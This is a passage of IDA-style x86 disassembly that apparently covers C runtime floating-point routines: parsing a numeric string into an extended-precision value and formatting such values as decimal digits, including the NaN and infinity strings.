arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBE8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBE8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBE8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBE4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBE8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBE4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43CBE4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBE4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBE4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

